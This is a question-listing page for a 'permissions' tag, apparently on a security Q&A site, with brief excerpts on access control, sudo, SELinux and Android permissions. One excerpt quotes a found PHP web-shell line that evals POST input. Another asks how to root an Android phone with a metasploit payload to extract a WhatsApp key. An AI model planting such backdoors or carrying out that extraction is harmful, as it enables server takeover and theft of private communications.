Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [permissions]

Access control based on user, group, or global access.

Filter by
Sorted by
Tagged with
0 votes
0 answers
5 views

Screen Recording permission in Android 9.0 goes away when force stopping app [migrated]

When I use third party app for screen recording 1st time I have to give screen recording permission. Then I don't have to give that permission. 2nd 3rd times .... It can record. I don't find any ...
Zk Sumon's user avatar
0 votes
0 answers
9 views

Difference between "picture in picture" and "draw over other apps" in android. And their security vulnerability [migrated]

What are the security vulnerability of these two permissions? Is it possible that I'm typing something in chat heads of a fb messenger and other third app with "display over other app" ...
Zk Sumon's user avatar
-1 votes
0 answers
37 views

Bell-Lapadula model "Execute" permission

In all BLP model descriptions I've seen, the permissions set is defined to be {Read, Write, Append, Execute}. None of the three BLP security properties The Simple Security Property states that a ...
hegash's user avatar
  • 99
0 votes
0 answers
88 views

Difference between running executable from disk vs removable media

I came across a strange group policy setup once and was wondering if anyone can make sense of it. We were NOT allowed to run executables that were stored on the local disk or network drives, but we ...
user2334659's user avatar
0 votes
0 answers
62 views

Permission model for automated infrastructure provisioning

I am trying to secure automatic infrastructure provisioning but I am having a hard time designing a proper access policy that would not create a single point of failure (I tried and failed about a ...
Michał Dębski's user avatar
0 votes
0 answers
164 views

Prevent read access to other users' files using SELinux

While running a VPS for shared hosting, I put the data for the various users and websites as /var/www/[USER]/public_html/[DOMAIN]/.... I'd like to make sure that one user cannot access data from ...
Taco de Wolff's user avatar
0 votes
1 answer
84 views

Term for a access control model based on users sharing resources with each other?

A very simple access model: I have users and resources. Each resource has an owner. Owners can can grant other users read and write permissions to resources they own (and transfer ownership). So ...
Andrey's user avatar
  • 563
0 votes
1 answer
167 views

Is there a problem to store user permissions in the database instead of in a external auth service?

In AWS Cognito we could define a role/permissions as a custom attribute in the user pool, but we could have a User table and a caching database and fetch roles each time the user does a request. Of ...
Vitor Figueredo Marques's user avatar
1 vote
1 answer
116 views

Sudo user without ability to login

I have a main user with home folder encryption enabled. To avoid typing long phrase each time I want to have another user with sudo privilege and weak password. In the terminal I would first switch ...
Pawel Cioch's user avatar
2 votes
0 answers
68 views

AWS sub-accounts to protect against deletion of versioned data in S3

How can administration teams (or software processes) be granted the ability to alter or remove objects from in AWS S3, while prohibiting the permanent deletion of underlying data versions, so as to ...
benjimin's user avatar
  • 165
1 vote
0 answers
193 views

Is it a good idea to combine DAC with RBAC in this way?

I am not an infosec professional, but I'm working on a project that requires designing and implementing a permission system for a customer. The system the customer proposes is as follows: Users are ...
Oscar's user avatar
  • 11
0 votes
2 answers
162 views

Granting Local Admin permissions on domain workstations

We need to give local admin privileges on most workstations to our ERP software admin so he can install updates. He is not a domain admin, simply a domain user. However, we don't want him to have ...
RonMidwest's user avatar
1 vote
0 answers
569 views

Get root permission on android for metasploit

Is there any way to get into the root file system in android with an already installed msfvenom apk in reverse_tcp (to get the whatsapp encryption key)
LWX 's user avatar
  • 11
1 vote
2 answers
88 views

Permissions, Groups, and Principle of Least Privilege

Lets say I have the following setup Two teams: TeamAlice and TeamBob A command that requires admin access: admin_command Two sets of computers: TeamAlice_Computers and TeamBob_Computers Only ...
CaffeineAddiction's user avatar
5 votes
1 answer
2k views

Explanation of capabilities: CAP_NET_BIND_SERVICE

I am still studying kernel credential management (https://kernel.org/doc/html/v5.9/security/credentials.html) and I have encountered a use case I cannot explain. I am in a VM (Kali). ❯ uname -a ...
cactuschibre's user avatar
0 votes
1 answer
95 views

Questions on user context and auditing for background job execution for SaaS application

I have some questions related with user context and auditing for background job execution for SaaS application. Let's say an admin user scheduled a background job through UI. When the job start ...
user1024888's user avatar
0 votes
1 answer
773 views

PHP - How to block files access in specific directory from the external

I made a very simple dashboard with HTML/PHP/JS (and a MySQL database) where some users (after a secure login with username and password) can access and insert some activities with details and attach ...
ducarpit's user avatar
1 vote
1 answer
259 views

Purpose of Real UID in spite of setresuid()

While reading the manual page of setresuid() a question arose about the purpose of Real UID. As mentioned in the man page: setresuid() sets the real user ID, the effective user ID, and the saved set-...
Amit Gabay's user avatar
1 vote
1 answer
724 views

Is TLS needed on loopback for local security?

So the scenario is that we have a server shared with a number of users, with me being the server administrator and able to determine permission assignments. The server is running a service on loopback ...
Chaser hkj's user avatar
1 vote
2 answers
380 views

Can any program discover my precise geolocation?

While browsing the internet on my laptop, I've allowed an internet site to access my location data. What I had expected was that it will show the name of my city based on my IP. I was quite shocked ...
Gbr's user avatar
  • 11
0 votes
1 answer
730 views

refresh token without client_id and client_secret

I was reading the OAuth protocol docs https://datatracker.ietf.org/doc/html/rfc6749#section-6 where it implies that you don't need a client_id and client_secret to refresh an access token, just a ...
hello's user avatar
  • 113
7 votes
2 answers
2k views

/opt and sudo unzip to /opt, is it safe?

Usually we place things in /opt so they are owned by root but normal users can execute them. This prevents normal users modifying the binaries so they cannot execute arbitrary stuff. However, to put ...
Guerlando OCs's user avatar
0 votes
1 answer
460 views

unknown (malicious?) code and file in public dir (Laravel 5.8, apache/cPanel) [duplicate]

I have a Laravel 5.8 app in a server running Apache/2.4.53 (cPanel) and PHP 7.4 (ea-php74) and i have VPS root WHM/cPanel access there. as any Laravel project, the "public" directory is web ...
Nishu Ali's user avatar
1 vote
1 answer
386 views

Security difference between changing permissions versus using sudo to execute

If there is a program written by a normal user that requires root privileges (eg. a program that interacts with root processes) what is the difference between running this program using sudo vs. ...
durestudios's user avatar
1 vote
0 answers
79 views

Clarification on log4j Service Requirements [duplicate]

We're currently trying to prioritize our mitigations for CVE-2021-44228. The obvious priority is to deal with any Internet facing java (apache?) applications that use a vulnerable log4j library and\or ...
BradleyMorgan's user avatar
1 vote
0 answers
232 views

How should SQL Server users be managed for a multi-tenant application?

I've looked extensively for a duplicate question, but I couldn't find anything that answers this question exactly. I have a SQL Server that will be used to store data for a multi-tenant application. ...
NicholaiRen's user avatar
1 vote
1 answer
247 views

Storage access permissions before initial unlock upon startup

How do Android devices (at least all the non-enterprise personal devices I remember owning) display the wallpaper (usually chosen from the 'downloads' folder) on the lock screen when it first is ...
Chris Riddle's user avatar
0 votes
1 answer
690 views

What happens when app have access to your photos?

These days I see many apps request access to photos on iPhone. I understand app request access to photos to iOS which then request access to me, that sounds ok. In that context I can allow access to ...
KcFnMi's user avatar
  • 141
5 votes
0 answers
840 views

Actual Meaning of Google Drive App Permissions?

I'm trying to understand what the permissions granted to a Google Drive connected app actually mean. The example I'm looking at is MindMup 2 For Google Drive, but it could be almost any as the ...
P Burke's user avatar
  • 151
0 votes
0 answers
152 views

Secure Registry Keys

Is it possible to restrict access to the registry keys, just like Microsoft does on some of the keys(ex. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend)? I was able to get a similar ...
pepperoni's user avatar
1 vote
1 answer
843 views

Secure way to run a linux binary which needs access to ressources only available to root?

As a developer, I ask how to approach security concerns regarding permissions of a binary which needs access to resources only available to root users. For example, let's think of a simple tool which ...
hypnomaki's user avatar
  • 111
1 vote
1 answer
261 views

Does adding a randomized string in S3 file path has equal security to Google Drive shared link

I would like to use an AWS S3 bucket to store my IoT firmware file and allows all of my IoT devices to access it to update the firmware to the latest version. I want that the firmware file in the S3 ...
asinkxcoswt's user avatar
9 votes
2 answers
2k views

How is MAC useful?

I know what mandatory access control (MAC) is, but I don't see how it helps. Often it seems to be said that if you have something like SELinux or AppArmor enabled you are magically more secure. And ...
Teipekpohkl's user avatar
1 vote
0 answers
154 views

What would be the logical approach in breaking down the following scenario in regard to CISSP Domains?

I'm currently doing my Cyber Security Certification program, I along with my fellow classmates are in Beginner stages. Over the past few weeks we have been writing up variety of Discussions using ...
0111010001110000's user avatar
63 votes
1 answer
9k views

Why don't video conferencing web applications ask permission for screen sharing?

I am using Chrome 87 with Jitsi Meet 2.0, but I have noticed this behavior too with other setups. When I first enter a room, Chrome asks for the following permissions: Even if I click "Block&...
Jaap Joris Vens's user avatar
4 votes
1 answer
669 views

Privilege escalation writing /etc/passwd but without SUID permission on su

This is not an exercise, there might be no solution. We are producing a Docker image (based on CentOS) which is designed to be executed by a non-root user. However, this user has write access to /etc/...
rt15's user avatar
  • 41
2 votes
2 answers
223 views

Unusual file permissions on WordPress websites

I've been asked by a customer of mine, to manage a few hundred WordPress sites. Doing an initial security assessment, I've found that every site (350 sites) has unusual file permissions on every php ...
Roberto Jobet's user avatar
2 votes
1 answer
822 views

Is homebrew's change of usr/local/bin to r/w a security issue?

I've been reading online that homebrew changing usr/local/bin to r/w could pose a serious security issue as usr/bin is the path after usr/local/bin. Article found here: https://applehelpwriter.com/...
Harrison G's user avatar
2 votes
2 answers
947 views

Linux whitelist-based Mandatory Access Control instead of a blacklist-based model

I'm trying to harden a Linux installation on a personal computer - I decided to try both SELinux and AppArmor as a Mandatory Access Control (MAC) to supplement the default Discretionary Access Control ...
Dcompoze's user avatar
  • 131
0 votes
1 answer
2k views

Is my Android phone camera hacked?

I suddenly see a strange thing when developing my Flutter application. My application that I'm developing is not asking for permissions, it does not need any permissions. But when I debug the app in ...
user2682025's user avatar
0 votes
1 answer
263 views

Why does the server generate a random challenge for SSH authentication?

Wouldn't it be more efficient if the client initiated the connection by generating their own message, and encrypting it using their private key, then sending both messages to the server so it would ...
Muizz Mahdy's user avatar
5 votes
1 answer
280 views

reading a file with other read permissions set

For this question assume a file with 604 perms in a directory with 700 permissions. Assume this file exists: /test/file A non-root user can techincally read that file but in practice to read it the ...
sashang's user avatar
  • 183
0 votes
0 answers
38 views

.php code in .txt file with eval() function [duplicate]

I have found three files with name as below: a.phpfile.txt b.phpfile.txt c.phpfile.txt when i open, each file contained with the following code: <?php @eval($_POST[x]); I have deleted all ...
Abdul Rahman's user avatar
1 vote
1 answer
388 views

Properly granting restrictive administrative privileges to developers on a production server [closed]

I am a business owner with a strong technical background, say a programmer, though not an advanced system administrator. I've bought a VPS server where I want to host several applications and webpages....
artteq's user avatar
  • 11
29 votes
5 answers
5k views

What are the potential vulnerabilities of allowing non-root users to run apt-get?

There are two ways I can think of doing this: On a system with sudo, by modifying /etc/sudoers. On a system without sudo (such as a Docker environment), by writing a program similar to the below and ...
kzl's user avatar
  • 401
3 votes
1 answer
428 views

Run docker as not sudoers

I have on my ubuntu instance a group of non-sudoers ("deploy" group). In order, to enable them to use docker I have to change the permission of "/var/run/docker.sock" file to chgrp deploy /var/run/...
Kingindanord's user avatar
0 votes
1 answer
426 views

How to secure user folders on the server from the scripts running in other user folder on the same server?

I have a VPS. There is a web-application running on this VPS. A user can log into his account, create a project (the system automatically creates a folder for this project) and then, he can create and ...
Mee's user avatar
  • 13
45 votes
2 answers
12k views

Claim that Skype is an unconfined application able to access all one's own personal files and system resources

Situation I was about to install Skype on a laptop driven by Ubuntu 18.04 LTS Desktop. The software installation helper graciously informs me that Skype is unconfined. It can access all your personal ...
XavierStuvw's user avatar
2 votes
2 answers
576 views

Is it possible to set permissions on a per application basis?

I wold like to set permissions on a per application basis, permissions like: Creation of sockets Creation of sub-process If an application creates a sub-process child processes should inherit the ...
user avatar
5 votes
1 answer
696 views

Is it possible to use WeChat (Weixin) more safely in recent versions of Android by using permissions?

I assume that anything written or read on WeChat is read by the government of the People's Republic of China. I understand the risks of that. However, I would like to understand the implications of ...
Matthew's user avatar
  • 162

1
2 3 4 5 6